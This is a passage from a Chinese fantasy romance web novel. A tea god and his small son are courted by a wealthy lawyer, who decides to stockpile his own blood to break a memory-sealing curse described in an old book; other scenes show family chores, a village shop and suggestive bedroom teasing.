等白清语跟他说,茶宝可以吃人类米糊时,邓伯连忙用当季的新米,去镇上磨坊碾米糊,在老板的推荐下,还加了芝麻、黑米、燕麦、芡实等等。 养小茶神没有那么容易,也没有那么难。 他虽然没见过贺任沅,但是三年前这里有一桩刑案闹得沸沸扬扬,有个律师被傻大个推下山崖,好像就是叫贺任沅。 结合那段时间,白清语第一次出现,且一般不太吃人类食物的茶神来讨要稀饭,邓伯不太淡定了。 白清语莫不是就是替贺任沅讨饭的吧? 那这个疑似负心汉呢? 别说奶粉了,这个负心汉连矿泉水都没买过。 坏了,负心汉的故事讲晚了。三年前茶神来要稀饭就该讲了。 咋还能一下子就让人给骗了?但是白清语从来没有提过贺任沅啊?肯定是负心汉做了什么负心事。 邓伯想着,手上的流水线第一道就慢了。 白清语闲下来,问贺任沅:“家长会开得怎么样?” 贺任沅就参加了个开头,道:“很好,老师夸茶宝跟所有小朋友都相处得很好。” 虽然幼儿园为了防止茶宝摇奶茶,连夜把奶碗换成了小孩子拧不开的吸管杯,但这并没有影响一杯奶茶建立的战友情。西瓜头宝宝还在反省是他拖累了茶宝哥哥也不能喝奶茶。 贺任沅:“经常听茶宝提起邓伯,您是他最重要的爷爷。” 邓伯微微骄傲,但没有接受示好。 贺任沅毫不气馁,看着白清语和白小茶脸蛋上的同款防伪标,邓伯越是对他不假辞色,越说明眼前这对是他如假包换的老婆孩子。 他过去太执着科学,如果科学不能为他服务,那就一点都不科学了。唯心主义者,想什么有什么,心想事成。 白小茶很高兴叔叔也来赚钱,如果上次叔叔跟他和爸爸一起进厂,肯定做得比对面的阿姨快。 “一个一毛钱噢。”白小茶一板一眼地在礼品袋背面贴标标,好啦,爷爷、爸爸、宝宝,又合作赚了一毛钱。 贺任沅骤然心酸,强忍着情绪道:“茶宝真棒。” 白小茶把礼品袋翻过来,指着上面的广告词,碧水丹山,岩骨花香,道:“叔叔,这是什么意思?” 贺任沅刚想说,看见白小茶亮亮的眼神,跟以往询问食物时不一样,顿时道:“叔叔不知道,茶宝知道吗?” “知道!”白小茶大声科普,“爸爸说,是骨头硬硬,身体香香!” 贺任沅忍俊不禁:“原来如此,叔叔长见识了。” 白清语点了点包装袋:“你喝过这个牌子的大红袍吗?” 贺任沅缄默。 邓伯道:“贺老板不怎么喝茶吧,我跟清语第三年折这种盒子了,销量应该不错的。” 贺任沅不敢吱声,铺货量大的茶叶肯定不是名贵上品,他自然没喝过,但这是白清语折的盒子,他能说太平价吗?邓伯在给他挖坑。 不,不是坑,是真相。 白清语替他解释:“少爷喝的,他还花几百万包纯种老茶树,品味很高。” 邓伯听了撇撇嘴,好好好,原来花几百万在外面养小三茶树。你品位高,你孩子喝露水长大的。 贺任沅:“……”解释听起来更糟糕了。 他想为自己辩解一两句,又十分词穷,第一次觉得有钱容易犯错是真的。 邓伯一拍大腿:“嗐,红薯要凉了,忘记端出来了。” 邓伯忙去厨房把一盆红薯端出来,剥开一个软糯香甜,微微烫,正好拿着:“茶宝吃,你们也吃。” 白小茶捧着红薯,像吃香蕉一样一口一截。 “爷爷吃,爸爸吃,叔叔也吃。” 白清语剥开一个大的,递给贺任沅:“别客气。” 茶宝在贺家不知道吃了贺任沅多少食物,虽然体重看不出来,但数量绝对不少。贺任沅来到他家,山珍海味没有,红薯管够。 贺任沅确实赶路到现在也饿了,便不客气,一边补给,一边想着邓伯刚才的话,虽然被红薯打断了,但能解释还是得解释——他没有嫌弃白清语包装的茶叶,也没有特别喜欢几百万的茶,他只喜欢白清语。 等等,邓伯刚才说什么来着? 白清语是第三年包装这种茶叶??如果按照白清语休眠期一结束,茶宝就长出来的说辞,那父子俩应该在人间生活两年了,跟茶宝的年纪对不上。 贺任沅终于想起被他忽视的证据:他明明喝茶宝的茶叶时,很清楚是两年生的茶,是两年多的,不是一年半的,怎么茶叶变成人,脑筋就没转过来?! 而且,他看着茶宝天天吃吃喝喝,体重和个子却几乎没有增长,这说明茶宝本身长得比人类慢! 茶宝现在是人类一岁半的个子,实际可能有两岁了。 贺任沅忙向白清语求证:“茶宝是不是两周岁了?” 白清语怔了一下,心想也没什么不能说的:“是啊,他长得慢。” 贺任沅眸色一深,几乎就想问你还笃定茶宝是无性繁殖的么,你知不知我跟茶宝长得像,但是当着邓伯和孩子,不是询问的好时机,只能硬生生忍下。 邓伯简直目瞪口呆,他没想到贺任沅已经知道茶神的身份了,“清语、他、你……” 白清语告诉邓伯:“他知道了,不过是他是个好人。” 邓伯捂住胸口,完了,好狡猾的人类,他的故事白清语听进去了没有? 他急忙进去把古书拿出来,摊开在椅子上晒晒,“书上的故事你没忘吧?” 白清语:“记住了。” 邓伯见白清语一副左耳进右耳出的样子,痛心疾首,灵光一闪:抄,抄一遍等于读十遍。 他道:“我的古书快烂页了,你帮我重新抄一本。” 白清语:“行。” 白清语进去拿了一个硬壳月历,背面是质量很好的白纸,拿来抄写正好。 贺任沅又被白清语的节约触痛了神经, “你抄吧,我折盒子。” 白清语:“嗯。” 贺任沅当了流水线工人,白清语坐在他对面抄古书。 他执笔的动作很端正,腰背挺拔,秀颈低垂,明明是水笔,却像写毛笔字似的。 故事并不长,白清语很快抄到一团糊的开页,微微皱眉,这个故事最快人心的部分,便是茶神杀书生,被邓家人多翻了几遍,快翻烂了。 他对着日光费劲辨认:“茶神将一柄开刃长剑捅进书生胸前,长剑开了血槽,鲜血顿时从书生胸前顺着剑身流向……茶神的握剑的手……” 邓伯:“律师不是很有文化么,帮清语认一认字。”感受一下负心汉的下场。 贺任沅从善如流地站到白清语后面,帮他一起看:“茶神握剑的手毫不动摇,仿佛面前不是昔日爱人……” 茶宝竖起耳朵,爸爸在讲故事么? 故事太过血腥,邓伯连忙把茶宝抱走:“爷爷带你去看母鸡下蛋了没。” 白小茶立即兴奋道:“要看!” “……茶神的手上沾满鲜血,鲜血顺着手肘,大朵大朵砸在赤着的脚上……”贺任沅一心二用,等邓伯一走远,立刻换上私人话题,“我今天确定一件事,茶宝是你和我的孩子,他跟我长得很像。” 白清语险些将这句话写在书上,恼怒地涂改了去:“你在胡说什么。” 贺任沅知道他不信,他搜集好了口供,挨个把聊天记录放出来,司机的,管家的,哑巴姐妹的……一一给白清语大法官过目。 白清语垂眸看着这些随便都能胁迫窜通的记录,他才不信,直到他看见贺任沅跟贺映的聊天记录。 贺映……贺映姑姑是好人,绝不会跟贺任沅沆瀣一气。 他抬眸看着贺任沅,好像、似乎是有点眼熟,但是…… 白清语:“是巧合,我并不记得——” 贺任沅:“你不记得就是没有吗?这样断案有失公允。” 白清语:“难道你记得?纯属凭空捏造,污人清白。” 贺任沅哑口无言,道:“先抄书吧。” 白清语:“你可不许插胡话了。” 贺任沅继续往下看:“等书生流血而死……茶神、茶神终于想起一切,扔了长剑。” “原来他的手之所以稳当,是因为封存了自己关于书生的记忆,怕不忍动手。” “茶神祭血设禁:凡人巧言令色,贪得无厌,往后代代茶神,凡是怀上凡人骨肉,皆封存记忆,以图自救。” 白清语反应了一秒:“你是不是又——” 等等,好像不是贺任沅夹带的私货。 白清语捧起书,眼睛睁圆,这书真这么写啊? 第48章 白清语猛地扭头盯着贺任沅。 贺任沅下意识抻了抻自己的衬衫袖子,像突然被面试官锁定的实习生,紧张到鬓角浮了一层热汗。 白清语重重地捏着书角,这几行有的缺字,有的字糊成一团,有的字破了洞,有的要对着光看,但这都不影响汉字的连续阅读。 白清语喃喃道:“这是盗版书吧?” 贺任沅:“这书都能进博物馆了还盗版书?” 白清语:“我明白了,这么破,一定是因为邓伯祖上对这个故事结尾进行了修改和加工。” 贺任沅被气得要命:“我恨你是块木头。” “我本来就是木头。” 白清语抿唇,古书有没有被修改过,他还能不知道吗。他就是有点乱,怎么好好的抄写一个故事,还给茶宝找了个爹? 贺任沅见他快把古书捏碎销毁证据,忙双手各捏住白清语的一只手:“松手。” 白清语松开了古书,下一秒,被拥入一个炽热的怀抱。 两颗心脏隔着胸膛一起一伏地跳动,仿佛要嵌入对方的频率中。除了在泳池那次,他没有这样抱过白清语,好像抱住了自己失去的一片拼图。 白清语宛若一只被大灰狼嗅着脖子的可怜兔子,皮肤上都起了一层颤栗。 贺任沅深吸一口气,就算白清语不承认,他也不能怎么样,他还得求着白清语,从神仙体系里找出解除封印的办法。 古茶神真是考虑周全,凡人能拿失忆的茶神怎么样呢,一点办法都没有。 “我们来分析一下这本书。”贺任沅押着白清语坐下,像清华学霸押着学渣老婆分析压轴题。 白清语蠢蠢欲动:“我去看看茶宝在哪。” 学渣茶神就差把“我肯定听不懂”写在脸上,但贺任沅还要抢救一下,毕竟他真的很想跟老婆上同一个大学,不,上同一张床。 贺任沅极尽温柔地哄:“听我分析五分钟,好不好?” 白清语揉了揉发红的耳朵,不说话了。 贺任沅拿起笔,先画重点:“交易茶叶让茶神神力受损,并且危及腹中胎儿。” 白清语:“嗯。” 贺任沅:“因为茶神一再地被书生蛊惑心软,他已经保不住孩子了。茶神胎儿是不是也天赋神力?” 白清语:“嗯,就是不会用。” 贺任沅:“所以这里,被邓伯祖上解开镣铐后,茶神借胎儿的神力封印了自己的记忆,留下复仇血书提醒自己。” “如此,他面对书生的哀求、悔过,才心坚如石地取他性命。直到他手上脚上沾满书生的血,才破除禁制。” 白清语屁股一挪:“我好像听见茶宝喊我。” 贺任沅用了点力气按住他,转过他的身子直视:“一到重点就跑,所以你一眼就能看出,古茶神是以两人的亲生骨肉为封印,唯有书生致死量的血能破解。你心疼我了?怕我去死?” 白清语:“难道你想死?” 贺任沅:“不想。” 白清语:“不想就对了。” 贺任沅一脸被辜负,眼眶随之发红,抓着白清语的手按在自己的茶叶标记上:“但这证明,你确实失忆了,忘记我们的过去,你标记了我你还不承认。” 人类好脆弱,眼眶怎么红得比茶宝好快。掌心下的神力清浅地流动,白清语心软道:“好啦好啦,你要是能哄茶宝叫你爸爸,我也不阻拦。” 你俩长得是有点像,世间也没有那么多巧合。如果白小茶独独只有茶神本人的基因,头发颜色没道理会变异。或许他真的带贺任沅进过神境,让他在里面养伤,凡人出了神境就会忘记在神境的一切,所以贺任沅也失忆了。 贺任沅喉咙发涩:“你只能得出我跟茶宝的父子关系结论吗?我们俩呢?” 白清语不可置信地看着他,你已经靠想象力讹走了一个小茶神,还要大的吗? 白清语:“你摔下山崖时我正在休眠期,正好要孕育一只小茶宝,你脑袋磕在我树根上,流了那么多血,心血浇灌了茶宝的灵脉,导致他有了你的基因。你碰瓷茶神白得一个儿子,你还不满足吗?” 贺任沅气笑了:“……心血浇灌?” 白清语觉得自己的推理无懈可击,谁说只有贺任沅有丰富的联想能力? 贺任沅粗鲁地说:“分明是精血浇灌了白大茶。” 白清语一下子涨红了脸:“你想得美。” “我告诉你,能进神境养伤的,你身上肯定内脏受损手脚骨折,动都动不了,还想泡我?” “……”贺任沅转变攻势,“我承认我们是清白的,你有没有办法帮我恢复记忆?我想起来就彻底死心了。” “以后也不会骚扰你,行不行?” 白清语垂着眸,贺任沅的记忆一出神境就被神境没收,此刻应该挂在神境里的某棵茶树上当灯泡,找一找或许能找到。 但是,贺任沅恢复记忆了,自己却没恢复,要是他胡编乱造骗人怎么办? [信息差必须要掌握在自己手里。]他想起一句话,在此时此刻,或许是来自古老茶神的忠告,白清语决定听从。 “没有办法。”白清语道。 贺任沅不敢太强求,怕此事会损耗白清语的神力,不如找个机会先问问邓伯。 况且,他并非毫无对策。 他能够理解古茶神,但凡他早点对书生死心,最后他就不会失去孩子。这道禁制是为了保护茶神的后代,倘若凡人有真心,再谈一次恋爱便是。 解封封印需要致死量的血。 但那是古代,没有冷冻库,茶神老祖估计也想不到现代会有冰箱。感谢科学,给他提供作弊的可能。 人类一次失血1200毫升会危及性命。一次安全性的抽血是400毫升,每半年一次,一年半他就能攒到。 幸运的是,他在医院本来就存有冷冻血浆、红细胞和少量全血,以备不时之需,过期的血液并没有被丢弃,搜集起来分量不少。 他赌茶神的禁制并不能准确识别高科技保存解冻后的血液。 只要他保证是他自己的便是。 他接下来少量多次抽血,再过一个月,就足够血液去验证一次。 追老婆就得玄学和科学双管齐下,失败了也不可惜。 白清语抄完最后一句,茶神的神谕:宁我先负人,不可让人负我。 他手指一抖,挠了挠脸蛋,不会吧,他才没有负贺任沅。 白清语偷偷瞥了一眼贺任沅,见对方的神色踌躇满志,并不颓丧,于是也收起了自己的一点心虚。 白小茶一手托着一个鸡蛋回来:“爸爸!” 贺任沅第一次对爸爸这个称呼有占有欲。他迟早要让白清语亲口教茶宝喊他爸爸。 白小茶分配鸡蛋:“这个给爸爸吃,这个给叔叔吃。” 白清语:“那你吃什么?” 白小茶:“宝宝喝牛奶。” 附近有人养牛,母牛生产时就会卖一些牛奶,茶宝一回来,邓伯就去订牛奶了。 贺任沅:“家里还有房间吗?我可以借宿吗?” 邓伯一边叠纸盒一边道:“只有杂物间了,怕你住不习惯,贺老板还是去城里住酒店。” 贺任沅:“杂物间也可,谢谢邓伯。” 邓伯一噎,穷书生富书生全都是脸皮厚的书生:“我们这也没有换洗衣服给你。” 贺任沅被这一提醒,才发现自己是两手空空上门,甚至连茶宝的零食都没带。 来的路上好像看见了一家小卖部? 贺任沅决定补救一下:“茶宝,叔叔带你去买东西。” 白小茶:“好噢!” 贺任沅抱起小崽子,“宝宝知道在哪买吗?” 白小茶:“知道!” 邓伯绞尽脑汁地说贺任沅的坏话:“清语你看看,一干活就溜号,逛东逛西。” 贺任沅的背影微微一僵,加快了脚步。 高大帅气的男人抱着粉雕玉琢的白小茶,一经出现在乡村小卖部,很是令人怀疑是不是什么亲子综艺。 老板娘一边磕瓜子一边看贺任沅,真帅的咧,是不是白小茶妈妈那边的亲戚?她想攀谈两句,但被贺任沅不够平易近人的气质的劝退。 “茶宝喜欢什么?”贺任沅把茶宝放下。 小卖部并不大,很多东西溢出货架,摆到了迪桑,白小茶蹲在一盒彩虹棉花糖前:“叔叔,这个好吃。” “还有么?” 白小茶看向冰箱,贺任沅忙道:“叔叔欠你两个冰淇淋,下次还,行不行?” 邓伯的印象分已经很低了,看见他带白小茶买雪糕回去,要倒扣成负数。 白小茶:“可以。” 贺任沅将一盒棉花糖都拿到柜台上,又问:“爷爷喜欢什么?” 白小茶拍了拍一箱功能饮料:“爷爷喜欢这个!” 贺任沅将两箱红牛提到柜台,又提了一箱牛奶。 “爸爸喜欢什么?” 这可难倒了白小茶,这里没有免费的噢。 喔?白小茶看见一个装棒棒糖的塑料桶,里面只剩下一根棒棒糖:“爸爸喜欢这个!” 贺任沅有些不解地抓起塑料桶,白清语喜欢吃棒棒糖吗? 下一秒,老板娘解答了他的疑惑,她熟练地在计算机上按下一根棒棒糖的价格,“220+62+30+1=313元,最后一根棒棒糖了,棒棒糖桶送你。” 白小茶抱着一整个桶,早就预料到了:“谢谢阿姨!” “叔叔,棒棒糖桶可以拿回家装糖噢。” 贺任沅想起自己家里那些成套成套的高价调味品罐,而在这里,白清语和白小茶穷到只能从小卖部买最后一根棒棒糖来获得罐子。 这是白清语和白小茶在乡下的日常。 如果不是一方父亲的缺失,白清语怎么会喜欢废物利用。 他真该死。 贺任沅恨不得白清语也来捅他一剑算了。 “要送货吗?”老板娘问。 贺任沅看见门口停着一辆电动车,道:“麻烦了。” 老板娘骑着电动车载了三箱饮料。 贺任沅弯腰给茶宝剥了一颗棉花糖,然后抱起他回去。 一到家,茶宝就抱着塑料桶跟爸爸献宝,使劲晃了晃桶,棒棒糖像鼓槌一样咚咚响。 “宝宝买到了最后一根棒棒糖?真棒!”白清语脑回路跟儿子长得一模一样,“这个桶可以用来装白糖。” 邓伯有养一两箱蜜蜂,没有花粉吃的时候,偶尔要喂一喂糖。 邓伯刚被迫收下三箱饮料,一转眼,贺任沅坐了下来,闷头折纸盒,意识坚定地仿佛在制作炸药包。 贺任沅不知道自己能给白清语什么,他知道自己首先要融入他的生活。 他折得很快,不像白清语和邓伯经常一边折一边看电视剧,动作不紧不慢,倒像能说出“喝了水就会尿尿,尿尿就赶不上别人”的白小茶。 贺任沅的动作一快,白小茶就有好多好多商标要贴,他没有喊叔叔慢点,而是立即跟着认真干活。 白清语打量着闷头干活的父子俩,是挺像的噢。 “你怎么了,变态了么?”白清语凑过去问,从小卖部回来这么起劲,是因为被邓伯说溜号吗?其实邓伯没有恶意,刚才邓伯问他贺任沅是不是茶宝的爸爸,因为三年前他从邓伯这兴高采烈地端走了一碗稀饭。 白清语被邓伯形容得无地自容,什么叫兴高采烈,搞得他好像是恋爱脑一样,他才没有和贺任沅谈恋爱。 贺任沅看他一眼:“嗯,像你这样骨头硬身体香的人,最容易吸引变态。” 白清语:“……”不安慰你了。 第49章 在三代人的努力下,这一批礼品袋出货了,邓伯骑着一辆三轮车运去工厂换钱。 天黑了,路上亮起路灯,白清语目送邓伯转过弯道,劝这位城里来的大少爷:“你还是去城里住吧,这里你住不习惯的。” 白清语看着贺任沅的个子,“杂物间的门都没你高。” 贺任沅:“我等你一起回去,邓伯已经同意我住下了。” 邓伯根本不想同意,更想不到贺任沅还把他当挡箭牌。 这里,一辆黑色商务车低调地进村,下来两个黑衣人,送来了贺总的换洗衣物和被褥,铺盖得自备,总不好留宿又给人添麻烦。 贺任沅:“杂物间在哪,你领个路。” 白清语:“好吧。” 贺任沅没动,转身上了商务车,撸起袖子卷到上臂,“先抽200cc。” 原来商务车里还藏着一个医生和采血箱。 医生用橡皮管绑住他的近心端,拍了拍臂弯内侧,消毒,抽血。 血袋里很快装满温热的液体,抽血针拔除,贺任沅按住止血棉签,等了等,不流血了就扔进废物箱。 医生储存好新鲜血液,将一袋口服补血剂和一箱补血食材交给贺任沅。 “躲好。”贺任沅吩咐一句,打开车门,扫了一眼白清语还没出来,装作无事发生地下车。 他要始终保持旺盛的精力追求老婆,还得注意通过体力劳动得到邓伯的认可,因此不能一次性抽太多。当然,普通人献血两百就要注意休息,贺任沅体格优秀,觉得没太大影响。 但他这段时间仍然要好好补血,以应对下一次神不知鬼不觉的储血。 他把补血剂揣口袋里,抱着一箱红枣黑芝麻进屋,循着声音找到属于他的杂物间。 杂物间没有开正经窗户,只是当初砌墙的时候留了一个采光洞,用猪饲料袋子挡住。甚至没有天花板,只有几根横梁,往上可以直接看到三角形的瓦片屋顶。 几个人站进去,白清语指挥他们把杂物堆得有规律一些,好空出地方给贺任沅放行李。 好贤惠的老婆。 贺任沅都挤不进去了,他放开箱子,蹲在地上撕开胶带,捡了一颗大红枣掰开干嚼。 他看见探出脑袋的儿子,招招手:“过来吃。” 他揉揉茶宝的脑袋,他老婆用记忆换来的小崽子,他不知道消失的那段记忆对茶神意味着什么,可能没有那么重要,用来换茶宝绝对不亏。 贺任沅挑了一粒最大的红枣给他。 于是父子俩一起蹲在地上啃红枣,谁也没洗,在有老婆的幸福时光里,洁癖根本想不起来,补血要紧。 “果核吐叔叔手里。”贺任沅并不急着让白小茶改称呼,他非得让白清语自己教,让白清语说“宝宝,贺叔叔是你爸爸”,再等白小茶问为什么呀,让白清语回答“爸爸的老攻叫爸爸”。 “叔叔,你在笑什么呀?”白小茶嚼着红枣问。 “爸爸……咳咳,看看爸爸弄好了没。”贺任沅差点呛到。 “弄好了,贺总。”两个黑衣人酷炫地出来,看见蹲在地上吃枣子的乡土霸总,沉默了一秒,又看见同样吃枣子的茶宝,忍不住露出姨妈笑。 “谢了,你们可以回去了。” “贺总再见。” “叔叔再见!”白小茶道。 “小少爷再见。” 杂物间没有木床,只有一张仅容一人躺下的竹床。 贺任沅一米八宽的被褥,显然有点大材小用。 白清语拧了一把毛巾帮他擦干净,贺任沅正要铺上,突然道:“能让我看看你的房间么?” 白小茶指着杂物间对面:“在这里!” “谢谢茶宝。” 贺任沅走过去,房间小小的,别有一番温馨的气息,老式木门一推会发出吱呀的声音,里面一张床,一张柜子,床是三面围栏顶部有盖的传统漆床,以红为底色,黑金相描,有些厚度的蚊帐合围垂着。 邓伯那一辈人结婚时,婚床便是这种。 贺任沅掀开蚊帐,沉稳地端详,婚床设计出来肯定能躺下一家三口。 他能不能…… “老板叔叔!”白小茶决定大方地把床让给老板叔叔睡,“叔叔睡大床,宝宝睡小床。” 白清语看着白小茶,很明显,在贺家时,贺任沅怎么对茶宝,茶宝在自己家也怎么对贺任沅,投桃报李,有点可爱。 白清语抱着手臂,考验某孝子的底线:“小床只能睡一个人,茶宝就不能跟爸爸一起睡觉了。” 贺任沅震惊,白清语的意思是他俩一起睡吗? 白小茶一下子懵逼,大方的时候没想过这个问题,他揪着垂下来的蚊帐,把自己卷进去,传来闷闷的声音:“老板叔叔家里都是大床。” “老板叔叔喜欢大床。” “宝宝可以睡小床,没关系的。” 贺任沅最听不得茶宝说“没关系的”,怎么一个委曲求全了得。 他本来敢跟白清语挤一挤,现在不敢了。 “叔叔喜欢小床。” “是吗,老板叔叔?”白小茶一下子钻出来,眼睛亮亮地看着叔叔。 贺任沅:“是的。” 他将自己的被褥抱过来,和白清语稍小的这一床互换。 他闻了闻白清语盖过一晚上的被子,有一股暖烘烘的茶香,和白清语身上的味道一样。 老婆好香。 白清语:“……”家里真的住了一个变态,晚上要锁好门。 然而,作为主人,还得问问变态晚上吃什么:“晚上想吃什么?” 贺任沅又得到了表现的机会,刚才商务车还运来了一些食材,有一块很好的瘦猪肉,红肉富含二价铁,可以补血。 “炒个洋葱炒肉吧,再炖个山药猪脚,我来切肉。” 白清语很怀疑:“你下过厨吗?” 贺任沅:“没有,但我可以对着菜谱做。” 白清语:“听起来很不靠谱,还是我来炒吧。” 邓伯出去结个账的功夫,家里两人搞出了三菜一汤,有模有样。 他把折纸盒赚的三百块用一个红包包起来,压在茶宝的枕头底下。 “吃饭了,邓伯。” 白清语在客厅摆上矮桌和板凳,四边形的小桌子,放下三菜一汤正好,高度正适合白小茶,大人就有些勉强了。 四个人正好把小桌子坐满,邓伯瞥了一眼人高马大但坐小板凳的贺任沅,忽然有种家里多一个人也热闹的错觉。 贺任沅一坐下,因为光源的方向,投下的影子把对面的茶宝都笼罩住了,他愣了下,过去把茶宝连人带凳子地端过来,交换位置。 白小茶挖一口米饭,配着蛋和肉:“爸爸做的真好吃。” 贺任沅有补血需求,便也不谦让,使劲吃瘦肉和菠菜。 邓伯见这俩吃得这么香,也夹了一块肉,尝了一口沉默了。 茶神就算是去城里当了一个月保姆,厨艺也没有任何提升。 雇主都挺能忍的。 邓伯对贺任沅的印象默默增加一分。 邓伯和白清语都吃得不多,主要靠父子俩干饭。 邓伯对贺任沅的印象又多了一条:很能吃肉。 饭后,邓伯去看新闻联播,白清语给茶宝洗澡,贺任沅在手机上处理一些公务。 贺任沅回复完必须回的邮件,悄悄摸出补血剂,拧开盖子,边挤边喝。 补血剂的包装袋有些像吸吸果冻,是医生配的液体,上面没有任何标识。 白清语给茶宝洗完,把他放出去,“找叔叔或者爷爷去。” 白小茶见爷爷在看电视,蹑手蹑脚地去找叔叔。 “叔叔你在喝什么?” 贺任沅看了看自己的补血剂,一时不知道怎么跟茶宝解释他没有偷吃零食,只好给他闻了一下:“是一种只能大人吃的中药,苦苦的。” “苦的,叔叔生病了吗?”小崽子投来关切的眼神。 “叔叔没有生病,喝这个药能让叔叔变得更加强壮。” 这都什么乱七八糟的解释,贺任沅干脆一饮而尽,把软壳扔进垃圾桶,抱起茶宝:“想去小卖部吗?” 白小茶懂事地说:“小卖部一天只能去一次噢。” 贺任沅鼻尖骤然又一酸,在不知道茶宝是他儿子前,他只想以后全力给茶宝和白清语提供更好的生活,知道之后,负罪感常常涌上,他想的是他亏欠茶宝多少,用多少年才能弥补。 谈及弥补的话题时,他又觉得一生短暂,很多事来不及做。 白小茶今天由于叔叔的到来,一直勤恳打工,洗完澡之后便容易犯困,没等到爸爸洗完澡就在叔叔怀里眼皮子打架。 贺任沅拍了拍他的背:“睡吧,等茶宝爸爸洗完澡,叔叔就把你交给爸爸。” 白小茶顿时安心地在叔叔臂弯里睡着。 他的脑袋正好压在贺任沅抽血的针眼上,不痛,只是隐隐约约放大了存在感。 贺任沅笨拙地给小孩子拍睡,过了一会儿,白清语过来,身上带着洗完澡的水汽香气。 白清语从贺任沅手中接过茶宝时,贺任沅不由屏住了呼吸。 不能乱,邓伯在客厅看电视,耍流氓也要分场合,一招不慎今晚就会被赶出去。 白清语运着小崽子回屋,贺任沅甚至不敢跟着,不敢在邓伯眼皮子底下横穿客厅,仿佛外面是班主任,他是个偷偷抽烟的高中生,从班主任面前一晃就会被抓住一顿批评。 白清语将茶宝放在柔软的床铺上,动作一变,白小茶微微醒了一下,抱住爸爸的脖子道:“爸爸,叔叔吃药了。” 他一边与困意斗争,一边把自己觉得很重要的事告诉爸爸。 “什么药?”白清语微微蹙眉,贺任沅生病了?他轻轻捏捏白小茶的脸蛋,让他说清楚一些,他身为茶神,明明没有感觉到贺任沅身体有任何问题,难道茶宝的神力因为是新的,比他还好用? 白小茶:“叔叔吃了让身体变强壮的药。” 白清语:??? 壮阳药? 白清语睁大眼睛,不是吧?贺任沅是想霸王硬上弓吗? 白清语忐忑地锁好门,紧张得睡不着,直到邓伯关了电视睡觉,直到外面变得安静,贺任沅也没有实施犯罪行为。 这叫什么?犯罪中止? 总不能是茶宝冤枉了贺任沅吧? 如果白小茶没有给错情报的话,贺任沅确实已经吃了,茶神的判断不会错。白清语掀开被子坐起来,慢吞吞地下床,他去看一下。 人在他家吃药了,且不论是什么药,他肯定要去看看才能放心,如果是他想的那种药,必须警告贺任沅下一次不许这样了。 如果贺任沅态度好,也不是不能用神力帮他恢复正常。 第50章 黑暗中,明察秋毫的神明注视着凡人一米九的躯体。 贺任沅呼吸平稳,毫无发狂迹象。 买到假药了? 白清语想了想,把手伸进被子里,想握住贺任沅的手腕查探一番。 贺任沅睡在不能翻身的单人床上,双手搭在小腹上,睡姿标准,寄邓伯篱下,十分地懂规矩。 对方过于规矩,倒衬得茶神有几分鬼祟。 白清语莫名有些心虚,有什么好心虚的,他出现在这里,是为了帮助贺任沅。 他理直气壮地伸直了手去捉贺任沅的手腕,不小心理直气壮过头,探到了贺任沅小腹下方。 那东西跳动的幅度远超脉搏的搏动,他仿佛是按到了贺任沅的心脏一般。 而且还像贺任沅的心脏一样自大。 茶神吓得收回手,当即就要溜走,手腕一紧,接着腰腹也被锁住,他向后倒在竹床上,老旧的竹板床四根柱子晃了一晃,发出声响。 接着,他的耳朵被薄被捂住,再听不见那羞人的响声。 白清语发现自己被贺任沅压在竹床上,被子将两人密不透风地裹住。 贺任沅吝啬地把茶神的香气都留在被窝里,手肘撑在白清语脸颊两侧,死死地压住被子,一个透气孔都不给,还用炙热的体温烘烤着茶神的叶子。 白清语不得不急促地呼吸着,靠呼出水汽带走叶片上的热量,更多茶香从绯红的皮肤上蒸腾。 一时间,被窝里头的茶香浓度高得惊人。 贺任沅捂着茶神慢火碳焙,嘴唇压在白清语白净的额上,像温度计计算着炒茶的温度。 他早就想这样做了,把白清语困在某一处,把他逼出最浓的茶香,只能自己闻,只能自己泡。 过了一会儿,贺任沅率先受不了,往下挪了挪。 随着贺任沅的嘴唇离开额头,白清语宛若解除封印般,刚要挣扎,双腿之间又被嵌入更沉甸的印章。 这就是人类的巫蛊之术吗? 贺任沅压低声音审讯:“半夜来我房里干什么?” 白清语声音更低,怕被很多人听见:“我来看看你有没有掉地上。” 贺任沅:“这床宽敞得很,能挤两个。” 白清语:“有点挤,你先放开我。” 贺任沅把头沉在他颈窝里狠狠吸了一口:“你是茶神,压一晚上也没事吧?” 幸好没开灯,光凭嗅觉他就快失去理智了。 白清语骤然清醒,对哦,他是茶神,他力气比贺任沅大多了。他一下子用力推翻流氓的统治,坐在贺任沅身上,脚踝分开,分别踩住他的手腕。 区区人类还敢审问他? 白清语像居高临下的法官,抱臂看着贺任沅:“茶宝说你吃了让身体变得强壮的药。” “吃完也不过如此,下次不许吃了。” 贺任沅:“什么叫不过如此?” 白清语:“就是吃了也打不过我。” 贺任沅:“那你屁股下坐的是什么?” 白清语一下子想抬起屁股,但是贺任沅非常狡猾,那蛰伏之物能屈能伸,他就是挺腰跪起来,还是会被戳到屁股的样子。 白清语苦恼地挠了挠脸蛋,这不像贺任沅的四肢可以粗暴地镇压,他想不到一个合适的方法让它老实一点。 他有点骑虎难下了。 白清语:“所以你到底吃了什么?” 贺任沅:“预感要感冒了,吃点中药预防。” 白清语听他的声音是挺哑的,皱眉道:“谁让你一到这儿就脱外套的。” 贺任沅:“图干活方便。” 白清语:“我给你输点神力得了。” 贺任沅已经知道神力对于茶神来说非常珍贵了,忙问:“你损耗神力会怎么样?” 白清语:“会想睡觉恢复。” 贺任沅顿时想起他上次过敏时,白清语握住他的手后,自己莫名好得很快,白清语那时就给他输入神力了么? “那我先免责声明,你睡觉我会趁人之危,脱你的衣服亲吻你。” 白清语震惊,律师的脸皮已经厚到能出这种免责声明了?流出的神力顿在指尖,隐隐有流光闪烁。 白清语:“你收回。” 贺任沅:“不收,我们人类治病前都要签免责知情书。” 白清语和他对视,欺负他不懂么,免责是免医生的责,不是病人的。 他给贺任沅治病,等于同意倒贴自己? 贺任沅:“来吧。” 白清语愤愤地从他身上下来:“你活该感冒。” 贺任沅笑得坐起来,看了一眼自己的身体反应,又有些无奈。 他幽幽道:“既然我毫无还手之力,在神境里定然是你强迫了我,你要对我负责。” 这逻辑乍一看毫无漏洞,白清语面红耳赤,第一次很想知道发生过什么,只能喃喃道:“没有的事。” 贺任沅趁机道:“所以你有没有办法恢复记忆,我什么都愿意做。” 他其实不太确定,失血的同时要不要让白清语捅他一刀。 他把懵逼的白清语圈过来,低声哄道:“要不你捅我一剑试试,现代医学很发达,马上手术不会死人。” 白清语提醒:“你这么不择手段,恢复的是我的记忆,不是你的。” 贺任沅:“我知道。” 白清语就说贺任沅很自大吧,“你就那么笃定我失去的记忆是爱过你?” 怎么,眼瞅着不好追,想走捷径? 